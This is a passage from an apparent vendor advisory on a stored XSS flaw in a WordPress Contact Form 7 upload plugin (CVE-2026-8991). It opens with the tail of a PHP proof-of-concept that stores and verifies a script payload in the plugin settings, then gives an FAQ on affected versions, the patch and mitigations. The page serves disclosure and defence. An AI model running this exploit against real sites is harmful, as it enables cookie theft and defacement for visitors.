curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($settings_data));
$update_response = curl_exec($ch);

// Step 4: Verify settings were saved
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$verify_page = curl_exec($ch);

if (strpos($verify_page, $xss_payload) !== false) {
    echo "[+] XSS payload stored successfully.n";
    echo "[+] Payload: " . $xss_payload . "n";
    echo "[+] To trigger, visit a page with a Contact Form 7 form that uses drag-and-drop upload.n";
} else {
    echo "[-] Could not verify payload storage. The site might be patched or the payload was sanitized.n";
}

curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2026-8991?
Understanding the vulnerability
CVE-2026-8991 is a Stored Cross-Site Scripting (XSS) vulnerability in the Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress. It allows authenticated attackers with administrator-level access to inject arbitrary web scripts via the ‘drag_n_drop_text’ and ‘drag_n_drop_browse_text’ settings.
Who is affected by this vulnerability?
Identifying affected users
This vulnerability affects all versions of the Drag and Drop Multiple File Upload for Contact Form 7 plugin up to and including version 1.3.9.7. Any WordPress site using this plugin with an administrator account is at risk.
How can I check if my site is vulnerable?
Steps to verify vulnerability
To check if your site is vulnerable, verify the version of the Drag and Drop Multiple File Upload for Contact Form 7 plugin in your WordPress admin dashboard. If it is version 1.3.9.7 or earlier, your site is vulnerable.
How can I fix CVE-2026-8991?
Mitigation steps
To fix CVE-2026-8991, update the Drag and Drop Multiple File Upload for Contact Form 7 plugin to version 1.3.9.8 or later. This version includes patches that properly sanitize and escape user inputs.
What does the CVSS score of 4.4 indicate?
Understanding risk levels
The CVSS score of 4.4 indicates a medium severity level for this vulnerability. This means that while it requires authenticated access to exploit, it can still lead to significant issues, including potential site compromise.
What is Stored Cross-Site Scripting?
Explaining the XSS type
Stored Cross-Site Scripting (XSS) occurs when an attacker is able to inject malicious scripts into a web application, which are then stored and executed when users access affected pages. This can lead to session hijacking, data theft, and other malicious actions.
How does the proof of concept demonstrate the vulnerability?
Understanding the PoC
The proof of concept (PoC) demonstrates the vulnerability by showing how an attacker can log in as an administrator, modify plugin settings to inject malicious scripts, and then execute those scripts when any user accesses the affected Contact Form 7 form.
What are the implications of an exploited vulnerability?
Potential risks
If exploited, this vulnerability can allow an attacker to execute arbitrary JavaScript in the context of any user visiting the site. This can lead to actions such as stealing cookies, redirecting users, or defacing pages.
What measures can be taken to mitigate risks?
Preventive actions
In addition to updating the plugin, administrators should regularly audit their plugins for vulnerabilities, limit administrator access, and implement security measures such as web application firewalls.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates are not possible, consider disabling the plugin until it can be updated, or restrict access to the plugin settings to trusted administrators only.
What is the root cause of this vulnerability?
Technical details
The root cause of CVE-2026-8991 is insufficient input sanitization and output escaping for user-supplied values in the plugin settings. This allows malicious scripts to be stored and later executed in the browser.
How does the patch address the vulnerability?
Understanding the fix
The patch for CVE-2026-8991 adds proper sanitization using esc_html() for the affected settings, ensuring that any user input is safely encoded before being output to the frontend, thus preventing script execution.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations